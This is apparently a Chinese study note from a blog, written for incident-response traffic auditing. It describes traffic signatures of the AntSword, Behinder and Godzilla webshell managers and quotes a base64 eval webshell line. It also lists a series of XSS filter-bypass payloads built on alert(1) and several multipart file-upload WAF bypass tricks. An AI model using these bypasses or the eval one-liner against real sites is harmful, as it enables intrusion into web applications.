🗒️webshell流量分析和xss,upload bypass
2023-12-11
| 2023-12-18
字数 900阅读时长 3 分钟
type
status
date
slug
summary
tags
category
icon
password

waf普及

软waf:过滤规则写在代码中
硬件waf:作用于应用层(http),相当于流量先经过它,由它内置的规则库进行过滤等处理后再返回给用户。
 
常见firewall作用:一般是禁用端口或ip
下一代firewall(ips + av + fw + waf):过滤osi7层模型中的各层流量
 
ips入侵防御系统(针对防病毒软件+防火墙):检测+防御 (http流量)
ids入侵检测系统:只检测,做记录
基于ips&ids获取的流量一般为完整的tcp和udp流量

webshell管理工具流量对比

蚁剑

特征分析

原始流量:
notion image
特征:
1.没有Accept和Accept-Language。
Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
2.开头为:@ini_set("display_errors", "0");@set_time_limit(0);
3.原版未经过二次开发的UA头就会表明是 <蚁剑的xxx版本>
base64编码后(任一选一种编码都一样,除了自定的rsa编码):
notion image
特征1:以eval开头,后面直接编码+POST:@eval(@base64_decode($_POST['md1ddc05e47be8']))
特征2:没有Accept和Accept-Language。
特征3:原版未经过二次开发的UA头就会表明是 <蚁剑的xxx版本>
特征4:md1ddc05e47be8=后面的内容直接base64解码就变成原始流量,哥斯拉和冰蝎就不会
 
Accept和Accept-Language可以在下面添加
notion image

优点:

垃圾字符和随机英文变量功能,审计会很头痛
notion image
notion image

冰蝎(内存马)

冰蝎有自己的webshell,其他的都可以用通用webshell
冰蝎3(密码可自定义) 冰蝎4(密码固定)
特征:
1.由于工具不开源,若为进行二次开盒的话ua部分,固定Macintosh
notion image
2.Accept这里为application/json
notion image
优点:
cookie部分为正常的,流量部分一般不带有任何参数
notion image

哥斯拉

连接成功后特征:
1.Cookie后面有个分号
2.请求体的eval,然后是strrev(urldecode。好几层编码,蚁剑就一层
notion image

大马

notion image
功能多,一般包括文件管理、命令执行、提权命令、上传和下载文件等,但是体积大,隐蔽性没有小马强。
大小马特征:一般都会多次请求同一个文件,并且短期内发送,大量数据。

XSS bypass

1.1任意标签以事件方式引入

</h2><a <h1 onclick=alert(1)>11
notion image

1.2生僻标签

<marquee onmouseover=alert(1111)>touch me</marquee>
notion image

1.3iframe标签引入有xss漏洞的页面

1.4延时注入:setTimeout

<svg onload=setTimeout('alert(1)',1)>
notion image

1.5标签和事件中间的空格可用/替换

<svg/onload=setTimeout('alert(1)',1)>
notion image

1.6unicode等编码替换

<svg/onload=setTimeout('alert(1)',1)>
notion image

1.7a标签中可使用base64编码处理url(暂未实现)

<a href=data:text/html;base64,aHR0cDovL3hzc2xhYi5jb206ODYwMC9sZXZlbDEucGhwP25hbWU9PHN2Zy9vbmxvYWQ9YWxlcnQoMSk+>123</a>

1.8空格填充

用空白符,注释等方式填充空格,或空格可以存在的部位(具体位置为,I、标签 和属性之间,II、属性和属性值之间,III、尽量避免属性于属性之间出现)
<svg onload=alert/*sadda*/(1)>
notion image

1.9使用生僻方法

top:
<svg/onload=top.alert/*sadda*/(1)>
notion image

1.10使用_连接属性和值

<svg/onload=_=alert/*sadda*/(1)>
notion image

1.11 声明变量,引入

<svg/onload=_=q=alert,q(1)>
notion image

1.12 find方法回调数组

<svg/onload=_=q=alert,[1].find(q)>
notion image

upload bypass(简易)

  1. 文件名前后使用空白符
  1. 在数据包中使用多个filename参数
  1. 去掉form-data变量也可上传成功
  1. form-data前、后添加换行回车,也可上传成功
  1. content-type和Content-Disposition可随意互换位置
  1. 在form-data前、后添加任意字符4096字节或2048字节,也可上传成功
 
  • 安服
  • 应急响应针对流量审计的学习
    Loading...